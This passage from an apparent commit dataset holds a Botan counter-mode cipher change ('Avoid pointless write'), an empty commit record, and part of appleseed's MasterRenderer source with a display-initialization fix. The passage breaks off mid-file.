CTR_BE::key_spec() const\n   {\n   return m_cipher->key_spec();\n   }\n\nCTR_BE* CTR_BE::clone() const\n   {\n   return new CTR_BE(m_cipher->clone(), m_ctr_size);\n   }\n\nvoid CTR_BE::key_schedule(const uint8_t key[], size_t key_len)\n   {\n   m_cipher->set_key(key, key_len);\n\n   \/\/ Set a default all-zeros IV\n   set_iv(nullptr, 0);\n   }\n\nstd::string CTR_BE::name() const\n   {\n   if(m_ctr_size == m_block_size)\n      return (\"CTR-BE(\" + m_cipher->name() + \")\");\n   else\n      return (\"CTR-BE(\" + m_cipher->name() + \",\" + std::to_string(m_ctr_size) + \")\");\n\n   }\n\nvoid CTR_BE::cipher(const uint8_t in[], uint8_t out[], size_t length)\n   {\n   verify_key_set(m_iv.empty() == false);\n\n   const uint8_t* pad_bits = &m_pad[0];\n   const size_t pad_size = m_pad.size();\n\n   if(m_pad_pos > 0)\n      {\n      const size_t avail = pad_size - m_pad_pos;\n      const size_t take = std::min(length, avail);\n      xor_buf(out, in, pad_bits + m_pad_pos, take);\n      length -= take;\n      in += take;\n      out += take;\n      m_pad_pos += take;\n\n      if(take == avail)\n         {\n         add_counter(m_ctr_blocks);\n         m_cipher->encrypt_n(m_counter.data(), m_pad.data(), m_ctr_blocks);\n         m_pad_pos = 0;\n         }\n      }\n\n   while(length >= pad_size)\n      {\n      xor_buf(out, in, pad_bits, pad_size);\n      length -= pad_size;\n      in += pad_size;\n      out += pad_size;\n\n      add_counter(m_ctr_blocks);\n      m_cipher->encrypt_n(m_counter.data(), m_pad.data(), m_ctr_blocks);\n      }\n\n   xor_buf(out, in, pad_bits, length);\n   m_pad_pos += length;\n   }\n\nvoid CTR_BE::set_iv(const uint8_t iv[], size_t iv_len)\n   {\n   if(!valid_iv_length(iv_len))\n      throw Invalid_IV_Length(name(), iv_len);\n\n   m_iv.resize(m_block_size);\n   zeroise(m_iv);\n   buffer_insert(m_iv, 0, iv, iv_len);\n\n   seek(0);\n   }\n\nvoid CTR_BE::add_counter(const uint64_t counter)\n   {\n   const size_t ctr_size = m_ctr_size;\n   const size_t ctr_blocks = m_ctr_blocks;\n   const size_t BS = m_block_size;\n\n   if(ctr_size == 4)\n      {\n      size_t off = (BS - 4);\n      uint32_t low32 = static_cast<uint32_t>(counter + load_be<uint32_t>(&m_counter[off], 0));\n\n      for(size_t i = 0; i != ctr_blocks; ++i)\n         {\n         store_be(low32, &m_counter[off]);\n         off += BS;\n         low32 += 1;\n         }\n      }\n   else if(ctr_size == 8)\n      {\n      size_t off = (BS - 8);\n      uint64_t low64 = counter + load_be<uint64_t>(&m_counter[off], 0);\n\n      for(size_t i = 0; i != ctr_blocks; ++i)\n         {\n         store_be(low64, &m_counter[off]);\n         off += BS;\n         low64 += 1;\n         }\n      }\n   else if(ctr_size == 16)\n      {\n      size_t off = (BS - 16);\n      uint64_t b0 = load_be<uint64_t>(&m_counter[off], 0);\n      uint64_t b1 = load_be<uint64_t>(&m_counter[off], 1);\n      b1 += counter;\n      b0 += (b1 < counter) ? 1 : 0; \/\/ carry\n\n      for(size_t i = 0; i != ctr_blocks; ++i)\n         {\n         store_be(b0, &m_counter[off]);\n         store_be(b1, &m_counter[off+8]);\n         off += BS;\n         b1 += 1;\n         b0 += (b1 == 0); \/\/ carry\n         }\n      }\n   else\n      {\n      for(size_t i = 0; i != ctr_blocks; ++i)\n         {\n         uint64_t local_counter = counter;\n         uint16_t carry = static_cast<uint8_t>(local_counter);\n         for(size_t j = 0; (carry || local_counter) && j != ctr_size; ++j)\n            {\n            const size_t off = i*BS + (BS-1-j);\n            const uint16_t cnt = static_cast<uint16_t>(m_counter[off]) + carry;\n            m_counter[off] = static_cast<uint8_t>(cnt);\n            local_counter = (local_counter >> 8);\n            carry = (cnt >> 8) + static_cast<uint8_t>(local_counter);\n            }\n         }\n      }\n   }\n\nvoid CTR_BE::seek(uint64_t offset)\n   {\n   verify_key_set(m_iv.empty() == false);\n\n   const uint64_t base_counter = m_ctr_blocks * (offset \/ m_counter.size());\n\n   zeroise(m_counter);\n   buffer_insert(m_counter, 0, m_iv);\n\n   const size_t BS = m_block_size;\n\n   \/\/ Set m_counter blocks to IV, IV + 1, ... IV + n\n\n   if(m_ctr_size == 4 && BS >= 8)\n      {\n      const uint32_t low32 = load_be<uint32_t>(&m_counter[BS-4], 0);\n      for(size_t i = 1; i != m_ctr_blocks; ++i)\n         {\n         copy_mem(&m_counter[i*BS], &m_counter[0], BS);\n         const uint32_t c = static_cast<uint32_t>(low32 + i);\n         store_be(c, &m_counter[(BS-4)+i*BS]);\n         }\n      }\n   else\n      {\n      for(size_t i = 1; i != m_ctr_blocks; ++i)\n         {\n         buffer_insert(m_counter, i*BS, &m_counter[(i-1)*BS], BS);\n\n         for(size_t j = 0; j != m_ctr_size; ++j)\n            if(++m_counter[i*BS + (BS - 1 - j)])\n               break;\n         }\n      }\n\n   if(base_counter > 0)\n      add_counter(base_counter);\n\n   m_cipher->encrypt_n(m_counter.data(), m_pad.data(), m_ctr_blocks);\n   m_pad_pos = offset % m_counter.size();\n   }\n}\n<commit_msg>Avoid pointless write<commit_after>\/*\n* Counter mode\n* (C) 1999-2011,2014 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#include <botan\/ctr.h>\n#include <botan\/exceptn.h>\n#include <botan\/loadstor.h>\n\nnamespace Botan {\n\nCTR_BE::CTR_BE(BlockCipher* ciph) :\n   m_cipher(ciph),\n   m_block_size(m_cipher->block_size()),\n   m_ctr_size(m_block_size),\n   m_ctr_blocks(m_cipher->parallel_bytes() \/ m_block_size),\n   m_counter(m_cipher->parallel_bytes()),\n   m_pad(m_counter.size()),\n   m_pad_pos(0)\n   {\n   }\n\nCTR_BE::CTR_BE(BlockCipher* cipher, size_t ctr_size) :\n   m_cipher(cipher),\n   m_block_size(m_cipher->block_size()),\n   m_ctr_size(ctr_size),\n   m_ctr_blocks(m_cipher->parallel_bytes() \/ m_block_size),\n   m_counter(m_cipher->parallel_bytes()),\n   m_pad(m_counter.size()),\n   m_pad_pos(0)\n   {\n   BOTAN_ARG_CHECK(m_ctr_size >= 4 && m_ctr_size <= m_block_size,\n                   \"Invalid CTR-BE counter size\");\n   }\n\nvoid CTR_BE::clear()\n   {\n   m_cipher->clear();\n   zeroise(m_pad);\n   zeroise(m_counter);\n   zap(m_iv);\n   m_pad_pos = 0;\n   }\n\nsize_t CTR_BE::default_iv_length() const\n   {\n   return m_block_size;\n   }\n\nbool CTR_BE::valid_iv_length(size_t iv_len) const\n   {\n   return (iv_len <= m_block_size);\n   }\n\nKey_Length_Specification CTR_BE::key_spec() const\n   {\n   return m_cipher->key_spec();\n   }\n\nCTR_BE* CTR_BE::clone() const\n   {\n   return new CTR_BE(m_cipher->clone(), m_ctr_size);\n   }\n\nvoid CTR_BE::key_schedule(const uint8_t key[], size_t key_len)\n   {\n   m_cipher->set_key(key, key_len);\n\n   \/\/ Set a default all-zeros IV\n   set_iv(nullptr, 0);\n   }\n\nstd::string CTR_BE::name() const\n   {\n   if(m_ctr_size == m_block_size)\n      return (\"CTR-BE(\" + m_cipher->name() + \")\");\n   else\n      return (\"CTR-BE(\" + m_cipher->name() + \",\" + std::to_string(m_ctr_size) + \")\");\n\n   }\n\nvoid CTR_BE::cipher(const uint8_t in[], uint8_t out[], size_t length)\n   {\n   verify_key_set(m_iv.empty() == false);\n\n   const uint8_t* pad_bits = &m_pad[0];\n   const size_t pad_size = m_pad.size();\n\n   if(m_pad_pos > 0)\n      {\n      const size_t avail = pad_size - m_pad_pos;\n      const size_t take = std::min(length, avail);\n      xor_buf(out, in, pad_bits + m_pad_pos, take);\n      length -= take;\n      in += take;\n      out += take;\n      m_pad_pos += take;\n\n      if(take == avail)\n         {\n         add_counter(m_ctr_blocks);\n         m_cipher->encrypt_n(m_counter.data(), m_pad.data(), m_ctr_blocks);\n         m_pad_pos = 0;\n         }\n      }\n\n   while(length >= pad_size)\n      {\n      xor_buf(out, in, pad_bits, pad_size);\n      length -= pad_size;\n      in += pad_size;\n      out += pad_size;\n\n      add_counter(m_ctr_blocks);\n      m_cipher->encrypt_n(m_counter.data(), m_pad.data(), m_ctr_blocks);\n      }\n\n   xor_buf(out, in, pad_bits, length);\n   m_pad_pos += length;\n   }\n\nvoid CTR_BE::set_iv(const uint8_t iv[], size_t iv_len)\n   {\n   if(!valid_iv_length(iv_len))\n      throw Invalid_IV_Length(name(), iv_len);\n\n   m_iv.resize(m_block_size);\n   zeroise(m_iv);\n   buffer_insert(m_iv, 0, iv, iv_len);\n\n   seek(0);\n   }\n\nvoid CTR_BE::add_counter(const uint64_t counter)\n   {\n   const size_t ctr_size = m_ctr_size;\n   const size_t ctr_blocks = m_ctr_blocks;\n   const size_t BS = m_block_size;\n\n   if(ctr_size == 4)\n      {\n      size_t off = (BS - 4);\n      uint32_t low32 = static_cast<uint32_t>(counter + load_be<uint32_t>(&m_counter[off], 0));\n\n      for(size_t i = 0; i != ctr_blocks; ++i)\n         {\n         store_be(low32, &m_counter[off]);\n         off += BS;\n         low32 += 1;\n         }\n      }\n   else if(ctr_size == 8)\n      {\n      size_t off = (BS - 8);\n      uint64_t low64 = counter + load_be<uint64_t>(&m_counter[off], 0);\n\n      for(size_t i = 0; i != ctr_blocks; ++i)\n         {\n         store_be(low64, &m_counter[off]);\n         off += BS;\n         low64 += 1;\n         }\n      }\n   else if(ctr_size == 16)\n      {\n      size_t off = (BS - 16);\n      uint64_t b0 = load_be<uint64_t>(&m_counter[off], 0);\n      uint64_t b1 = load_be<uint64_t>(&m_counter[off], 1);\n      b1 += counter;\n      b0 += (b1 < counter) ? 1 : 0; \/\/ carry\n\n      for(size_t i = 0; i != ctr_blocks; ++i)\n         {\n         store_be(b0, &m_counter[off]);\n         store_be(b1, &m_counter[off+8]);\n         off += BS;\n         b1 += 1;\n         b0 += (b1 == 0); \/\/ carry\n         }\n      }\n   else\n      {\n      for(size_t i = 0; i != ctr_blocks; ++i)\n         {\n         uint64_t local_counter = counter;\n         uint16_t carry = static_cast<uint8_t>(local_counter);\n         for(size_t j = 0; (carry || local_counter) && j != ctr_size; ++j)\n            {\n            const size_t off = i*BS + (BS-1-j);\n            const uint16_t cnt = static_cast<uint16_t>(m_counter[off]) + carry;\n            m_counter[off] = static_cast<uint8_t>(cnt);\n            local_counter = (local_counter >> 8);\n            carry = (cnt >> 8) + static_cast<uint8_t>(local_counter);\n            }\n         }\n      }\n   }\n\nvoid CTR_BE::seek(uint64_t offset)\n   {\n   verify_key_set(m_iv.empty() == false);\n\n   const uint64_t base_counter = m_ctr_blocks * (offset \/ m_counter.size());\n\n   zeroise(m_counter);\n   buffer_insert(m_counter, 0, m_iv);\n\n   const size_t BS = m_block_size;\n\n   \/\/ Set m_counter blocks to IV, IV + 1, ... IV + n\n\n   if(m_ctr_size == 4 && BS >= 8)\n      {\n      const uint32_t low32 = load_be<uint32_t>(&m_counter[BS-4], 0);\n      for(size_t i = 1; i != m_ctr_blocks; ++i)\n         {\n         copy_mem(&m_counter[i*BS], &m_counter[0], BS - 4);\n         const uint32_t c = static_cast<uint32_t>(low32 + i);\n         store_be(c, &m_counter[(BS-4)+i*BS]);\n         }\n      }\n   else\n      {\n      for(size_t i = 1; i != m_ctr_blocks; ++i)\n         {\n         buffer_insert(m_counter, i*BS, &m_counter[(i-1)*BS], BS);\n\n         for(size_t j = 0; j != m_ctr_size; ++j)\n            if(++m_counter[i*BS + (BS - 1 - j)])\n               break;\n         }\n      }\n\n   if(base_counter > 0)\n      add_counter(base_counter);\n\n   m_cipher->encrypt_n(m_counter.data(), m_pad.data(), m_ctr_blocks);\n   m_pad_pos = offset % m_counter.size();\n   }\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix use of or<commit_after><|endoftext|>"}
{"text":"<commit_before>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2010-2013 Francois Beaune, Jupiter Jazz Limited\n\/\/ Copyright (c) 2014 Francois Beaune, The appleseedhq Organization\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ Interface header.\n#include \"masterrenderer.h\"\n\n\/\/ appleseed.renderer headers.\n#include \"renderer\/global\/globallogger.h\"\n#include \"renderer\/kernel\/rendering\/iframerenderer.h\"\n#ifdef APPLESEED_WITH_OIIO\n#include \"renderer\/kernel\/rendering\/oiiocomponents.h\"\n#endif\n#ifdef APPLESEED_WITH_OSL\n#include \"renderer\/kernel\/rendering\/oslcomponents.h\"\n#include \"renderer\/kernel\/rendering\/rendererservices.h\"\n#endif\n#include \"renderer\/kernel\/rendering\/renderercomponents.h\"\n#include \"renderer\/kernel\/rendering\/serialrenderercontroller.h\"\n#include \"renderer\/kernel\/rendering\/serialtilecallback.h\"\n#include \"renderer\/kernel\/texturing\/texturestore.h\"\n#include \"renderer\/modeling\/display\/display.h\"\n#include \"renderer\/modeling\/frame\/frame.h\"\n#include \"renderer\/modeling\/input\/inputbinder.h\"\n#include \"renderer\/modeling\/project\/project.h\"\n#include \"renderer\/modeling\/scene\/scene.h\"\n\n\/\/ appleseed.foundation headers.\n#include \"foundation\/platform\/compiler.h\"\n#include \"foundation\/platform\/thread.h\"\n#include \"foundation\/utility\/job\/iabortswitch.h\"\n#include \"foundation\/utility\/otherwise.h\"\n#include \"foundation\/utility\/statistics.h\"\n\n\/\/ Standard headers.\n#include <cassert>\n#include <exception>\n#include <string>\n\nusing namespace foundation;\nusing namespace std;\n\nnamespace renderer\n{\n\n\/\/\n\/\/ MasterRenderer class implementation.\n\/\/\n\nMasterRenderer::MasterRenderer(\n    Project&                project,\n    const ParamArray&       params,\n    IRendererController*    renderer_controller,\n    ITileCallbackFactory*   tile_callback_factory)\n  : m_project(project)\n  , m_params(params)\n  , m_renderer_controller(renderer_controller)\n  , m_tile_callback_factory(tile_callback_factory)\n  , m_serial_renderer_controller(0)\n  , m_serial_tile_callback_factory(0)\n{\n}\n\nMasterRenderer::MasterRenderer(\n    Project&                project,\n    const ParamArray&       params,\n    IRendererController*    renderer_controller,\n    ITileCallback*          tile_callback)\n  : m_project(project)\n  , m_params(params)\n  , m_serial_renderer_controller(new SerialRendererController(renderer_controller, tile_callback))\n  , m_serial_tile_callback_factory(new SerialTileCallbackFactory(m_serial_renderer_controller))\n{\n    m_renderer_controller = m_serial_renderer_controller;\n    m_tile_callback_factory = m_serial_tile_callback_factory;\n}\n\nMasterRenderer::~MasterRenderer()\n{\n    delete m_serial_tile_callback_factory;\n    delete m_serial_renderer_controller;\n}\n\nParamArray& MasterRenderer::get_parameters()\n{\n    return m_params;\n}\n\nconst ParamArray& MasterRenderer::get_parameters() const\n{\n    return m_params;\n}\n\nbool MasterRenderer::render()\n{\n    try\n    {\n        do_render();\n        return true;\n    }\n    catch (const bad_alloc&)\n    {\n        m_renderer_controller->on_rendering_abort();\n        RENDERER_LOG_ERROR(\"rendering failed (ran out of memory).\");\n        return false;\n    }\n#ifdef NDEBUG\n    catch (const exception& e)\n    {\n        m_renderer_controller->on_rendering_abort();\n        RENDERER_LOG_ERROR(\"rendering failed (%s).\", e.what());\n        return false;\n    }\n    catch (...)\n    {\n        m_renderer_controller->on_rendering_abort();\n        RENDERER_LOG_ERROR(\"rendering failed (unknown exception).\");\n        return false;\n    }\n#endif\n}\n\nvoid MasterRenderer::do_render()\n{\n    while (true)\n    {\n        m_renderer_controller->on_rendering_begin();\n\n        const IRendererController::Status status = initialize_and_render_frame_sequence();\n\n        switch (status)\n        {\n          case IRendererController::TerminateRendering:\n            m_renderer_controller->on_rendering_success();\n            return;\n\n          case IRendererController::AbortRendering:\n            m_renderer_controller->on_rendering_abort();\n            return;\n\n          case IRendererController::ReinitializeRendering:\n            break;\n\n          assert_otherwise;\n        }\n    }\n}\n\nnamespace\n{\n    \/\/ RAII-style handling of display plugins.\n    class CloseDisplayPluginOnScopeExit\n      : public NonCopyable\n    {\n      public:\n        CloseDisplayPluginOnScopeExit()\n          : m_display(0)\n        {\n        }\n\n        ~CloseDisplayPluginOnScopeExit()\n        {\n            if (m_display)\n                m_display->close();\n        }\n\n        void set_display(Display* display)\n        {\n            m_display = display;\n        }\n\n      private:\n        Display* m_display;\n    };\n\n    \/\/ An abort switch whose abort status is determined by a renderer::IRendererController.\n    class RendererControllerAbortSwitch\n      : public IAbortSwitch\n    {\n      public:\n        explicit RendererControllerAbortSwitch(IRendererController& renderer_controller)\n          : m_renderer_controller(renderer_controller)\n        {\n        }\n\n        virtual bool is_aborted() const APPLESEED_OVERRIDE\n        {\n            const IRendererController::Status status = m_renderer_controller.get_status();\n            return\n                status != IRendererController::ContinueRendering &&\n                status != IRendererController::RestartRendering;\n        }\n\n      private:\n        IRendererController& m_renderer_controller;\n    };\n}\n\nIRendererController::Status MasterRenderer::initialize_and_render_frame_sequence()\n{\n    assert(m_project.get_scene());\n    assert(m_project.get_frame());\n\n    \/\/ Construct an abort switch based on the renderer controller.\n    RendererControllerAbortSwitch abort_switch(*m_renderer_controller);\n\n    \/\/ We start by binding entities inputs. This must be done before creating\/updating the trace context.\n    if (!bind_scene_entities_inputs())\n        return IRendererController::AbortRendering;\n\n    m_project.create_aov_images();\n    m_project.update_trace_context();\n    m_project.get_frame()->print_settings();\n\n    \/\/ Create the texture store.\n    TextureStore texture_store(\n        *m_project.get_scene(),\n        m_params.child(\"texture_store\"));\n\n#ifdef APPLESEED_WITH_OIIO\n\n    \/\/ Initialize OIIO.\n    OIIOComponents oiio_components(m_project, m_params);\n\n#endif\n\n#ifdef APPLESEED_WITH_OSL\n\n    \/\/ Initialize OSL.\n    OSLComponents osl_components(\n        m_project,\n        texture_store,\n        oiio_components.get_texture_system());\n\n    \/\/ Compile OSL shaders.\n    if (!osl_components.compile_osl_shaders(&abort_switch))\n        return IRendererController::AbortRendering;\n\n    \/\/ Don't proceed further if rendering was aborted.\n    if (abort_switch.is_aborted())\n        return m_renderer_controller->get_status();\n\n#endif\n\n    \/\/ If needed, open the display plugin.\n    CloseDisplayPluginOnScopeExit close_display;\n    ITileCallbackFactory* tile_callback_factory = m_tile_callback_factory;\n    if (tile_callback_factory == 0)\n    {\n        if (Display* display = m_project.get_display())\n        {\n            display->open(m_project);\n            close_display.set_display(display);\n            tile_callback_factory = display->get_tile_callback_factory();\n        }\n    }\n\n    \/\/ Create the renderer components.\n    RendererComponents components(\n        m_project,\n        m_params,\n        m_tile_callback_factory,\n        texture_store\n#ifdef APPLESEED_WITH_OIIO\n        , oiio_components.get_texture_system()\n#endif\n#ifdef APPLESEED_WITH_OSL\n        , osl_components.get_shading_system()\n#endif\n        );\n    if (!components.initialize())\n        return IRendererController::AbortRendering;\n\n    \/\/ Execute the main rendering loop.\n    const IRendererController::Status status =\n        render_frame_sequence(\n            components.get_frame_renderer()\n#ifdef APPLESEED_WITH_OSL\n            , osl_components.get_renderer_services()\n#endif\n            , abort_switch);\n\n    \/\/ Print texture store performance statistics.\n    RENDERER_LOG_DEBUG(\"%s\", texture_store.get_statistics().to_string().c_str());\n\n    return status;\n}\n\nIRendererController::Status MasterRenderer::render_frame_sequence(\n    IFrameRenderer&         frame_renderer\n#ifdef APPLESEED_WITH_OSL\n    , RendererServices&     renderer_services\n#endif\n    , IAbortSwitch&         abort_switch)\n{\n    while (true)\n    {\n        assert(!frame_renderer.is_rendering());\n\n        \/\/ The on_frame_begin() method of the renderer controller might alter the scene\n        \/\/ (e.g. transform the camera), thus it needs to be called before the on_frame_begin()\n        \/\/ of the scene which assumes the scene is up-to-date and ready to be rendered.\n        m_renderer_controller->on_frame_begin();\n\n        \/\/ Prepare the scene for rendering. Don't proceed if that failed.\n        if (!m_project.get_scene()->on_frame_begin(m_project, &abort_switch))\n        {\n            m_renderer_controller->on_frame_end();\n            return IRendererController::AbortRendering;\n        }\n\n        \/\/ Don't proceed with rendering if scene preparation was aborted.\n        if (abort_switch.is_aborted())\n        {\n            m_renderer_controller->on_frame_end();\n            return m_renderer_controller->get_status();\n        }\n\n#ifdef APPLESEED_WITH_OSL\n        renderer_services.initialize();\n#endif\n\n        frame_renderer.start_rendering();\n\n        const IRendererController::Status status = wait_for_event(frame_renderer);\n\n        switch (status)\n        {\n          case IRendererController::TerminateRendering:\n          case IRendererController::AbortRendering:\n          case IRendererController::ReinitializeRendering:\n            frame_renderer.terminate_rendering();\n            break;\n\n          case IRendererController::RestartRendering:\n            frame_renderer.stop_rendering();\n            break;\n\n          assert_otherwise;\n        }\n\n        assert(!frame_renderer.is_rendering());\n\n        m_project.get_scene()->on_frame_end(m_project);\n        m_renderer_controller->on_frame_end();\n\n        switch (status)\n        {\n          case IRendererController::TerminateRendering:\n          case IRendererController::AbortRendering:\n          case IRendererController::ReinitializeRendering:\n            return status;\n\n          case IRendererController::RestartRendering:\n            break;\n\n          assert_otherwise;\n        }\n    }\n}\n\nIRendererController::Status MasterRenderer::wait_for_event(IFrameRenderer& frame_renderer) const\n{\n    while (true)\n    {\n        if (!frame_renderer.is_rendering())\n            return IRendererController::TerminateRendering;\n\n        const IRendererController::Status status = m_renderer_controller->get_status();\n\n        if (status != IRendererController::ContinueRendering)\n            return status;\n\n        m_renderer_controller->on_progress();\n\n        foundation::sleep(1);   \/\/ namespace qualifer required\n    }\n}\n\nbool MasterRenderer::bind_scene_entities_inputs() const\n{\n    InputBinder input_binder;\n    input_binder.bind(*m_project.get_scene());\n    return input_binder.get_error_count() == 0;\n}\n\n}   \/\/ namespace renderer\n<commit_msg>Fix display driver initialization bug<commit_after>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2010-2013 Francois Beaune, Jupiter Jazz Limited\n\/\/ Copyright (c) 2014 Francois Beaune, The appleseedhq Organization\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ Interface header.\n#include \"masterrenderer.h\"\n\n\/\/ appleseed.renderer headers.\n#include \"renderer\/global\/globallogger.h\"\n#include \"renderer\/kernel\/rendering\/iframerenderer.h\"\n#ifdef APPLESEED_WITH_OIIO\n#include \"renderer\/kernel\/rendering\/oiiocomponents.h\"\n#endif\n#ifdef APPLESEED_WITH_OSL\n#include \"renderer\/kernel\/rendering\/oslcomponents.h\"\n#include \"renderer\/kernel\/rendering\/rendererservices.h\"\n#endif\n#include \"renderer\/kernel\/rendering\/renderercomponents.h\"\n#include \"renderer\/kernel\/rendering\/serialrenderercontroller.h\"\n#include \"renderer\/kernel\/rendering\/serialtilecallback.h\"\n#include \"renderer\/kernel\/texturing\/texturestore.h\"\n#include \"renderer\/modeling\/display\/display.h\"\n#include \"renderer\/modeling\/frame\/frame.h\"\n#include \"renderer\/modeling\/input\/inputbinder.h\"\n#include \"renderer\/modeling\/project\/project.h\"\n#include \"renderer\/modeling\/scene\/scene.h\"\n\n\/\/ appleseed.foundation headers.\n#include \"foundation\/platform\/compiler.h\"\n#include \"foundation\/platform\/thread.h\"\n#include \"foundation\/utility\/job\/iabortswitch.h\"\n#include \"foundation\/utility\/otherwise.h\"\n#include \"foundation\/utility\/statistics.h\"\n\n\/\/ Standard headers.\n#include <cassert>\n#include <exception>\n#include <string>\n\nusing namespace foundation;\nusing namespace std;\n\nnamespace renderer\n{\n\n\/\/\n\/\/ MasterRenderer class implementation.\n\/\/\n\nMasterRenderer::MasterRenderer(\n    Project&                project,\n    const ParamArray&       params,\n    IRendererController*    renderer_controller,\n    ITileCallbackFactory*   tile_callback_factory)\n  : m_project(project)\n  , m_params(params)\n  , m_renderer_controller(renderer_controller)\n  , m_tile_callback_factory(tile_callback_factory)\n  , m_serial_renderer_controller(0)\n  , m_serial_tile_callback_factory(0)\n{\n}\n\nMasterRenderer::MasterRenderer(\n    Project&                project,\n    const ParamArray&       params,\n    IRendererController*    renderer_controller,\n    ITileCallback*          tile_callback)\n  : m_project(project)\n  , m_params(params)\n  , m_serial_renderer_controller(new SerialRendererController(renderer_controller, tile_callback))\n  , m_serial_tile_callback_factory(new SerialTileCallbackFactory(m_serial_renderer_controller))\n{\n    m_renderer_controller = m_serial_renderer_controller;\n    m_tile_callback_factory = m_serial_tile_callback_factory;\n}\n\nMasterRenderer::~MasterRenderer()\n{\n    delete m_serial_tile_callback_factory;\n    delete m_serial_renderer_controller;\n}\n\nParamArray& MasterRenderer::get_parameters()\n{\n    return m_params;\n}\n\nconst ParamArray& MasterRenderer::get_parameters() const\n{\n    return m_params;\n}\n\nbool MasterRenderer::render()\n{\n    try\n    {\n        do_render();\n        return true;\n    }\n    catch (const bad_alloc&)\n    {\n        m_renderer_controller->on_rendering_abort();\n        RENDERER_LOG_ERROR(\"rendering failed (ran out of memory).\");\n        return false;\n    }\n#ifdef NDEBUG\n    catch (const exception& e)\n    {\n        m_renderer_controller->on_rendering_abort();\n        RENDERER_LOG_ERROR(\"rendering failed (%s).\", e.what());\n        return false;\n    }\n    catch (...)\n    {\n        m_renderer_controller->on_rendering_abort();\n        RENDERER_LOG_ERROR(\"rendering failed (unknown exception).\");\n        return false;\n    }\n#endif\n}\n\nvoid MasterRenderer::do_render()\n{\n    while (true)\n    {\n        m_renderer_controller->on_rendering_begin();\n\n        const IRendererController::Status status = initialize_and_render_frame_sequence();\n\n        switch (status)\n        {\n          case IRendererController::TerminateRendering:\n            m_renderer_controller->on_rendering_success();\n            return;\n\n          case IRendererController::AbortRendering:\n            m_renderer_controller->on_rendering_abort();\n            return;\n\n          case IRendererController::ReinitializeRendering:\n            break;\n\n          assert_otherwise;\n        }\n    }\n}\n\nnamespace\n{\n    \/\/ RAII-style handling of display plugins.\n    class CloseDisplayPluginOnScopeExit\n      : public NonCopyable\n    {\n      public:\n        CloseDisplayPluginOnScopeExit()\n          : m_display(0)\n        {\n        }\n\n        ~CloseDisplayPluginOnScopeExit()\n        {\n            if (m_display)\n                m_display->close();\n        }\n\n        void set_display(Display* display)\n        {\n            m_display = display;\n        }\n\n      private:\n        Display* m_display;\n    };\n\n    \/\/ An abort switch whose abort status is determined by a renderer::IRendererController.\n    class RendererControllerAbortSwitch\n      : public IAbortSwitch\n    {\n      public:\n        explicit RendererControllerAbortSwitch(IRendererController& renderer_controller)\n          : m_renderer_controller(renderer_controller)\n        {\n        }\n\n        virtual bool is_aborted() const APPLESEED_OVERRIDE\n        {\n            const IRendererController::Status status = m_renderer_controller.get_status();\n            return\n                status != IRendererController::ContinueRendering &&\n                status != IRendererController::RestartRendering;\n        }\n\n      private:\n        IRendererController& m_renderer_controller;\n    };\n}\n\nIRendererController::Status MasterRenderer::initialize_and_render_frame_sequence()\n{\n    assert(m_project.get_scene());\n    assert(m_project.get_frame());\n\n    \/\/ Construct an abort switch based on the renderer controller.\n    RendererControllerAbortSwitch abort_switch(*m_renderer_controller);\n\n    \/\/ We start by binding entities inputs. This must be done before creating\/updating the trace context.\n    if (!bind_scene_entities_inputs())\n        return IRendererController::AbortRendering;\n\n    m_project.create_aov_images();\n    m_project.update_trace_context();\n    m_project.get_frame()->print_settings();\n\n    \/\/ Create the texture store.\n    TextureStore texture_store(\n        *m_project.get_scene(),\n        m_params.child(\"texture_store\"));\n\n#ifdef APPLESEED_WITH_OIIO\n\n    \/\/ Initialize OIIO.\n    OIIOComponents oiio_components(m_project, 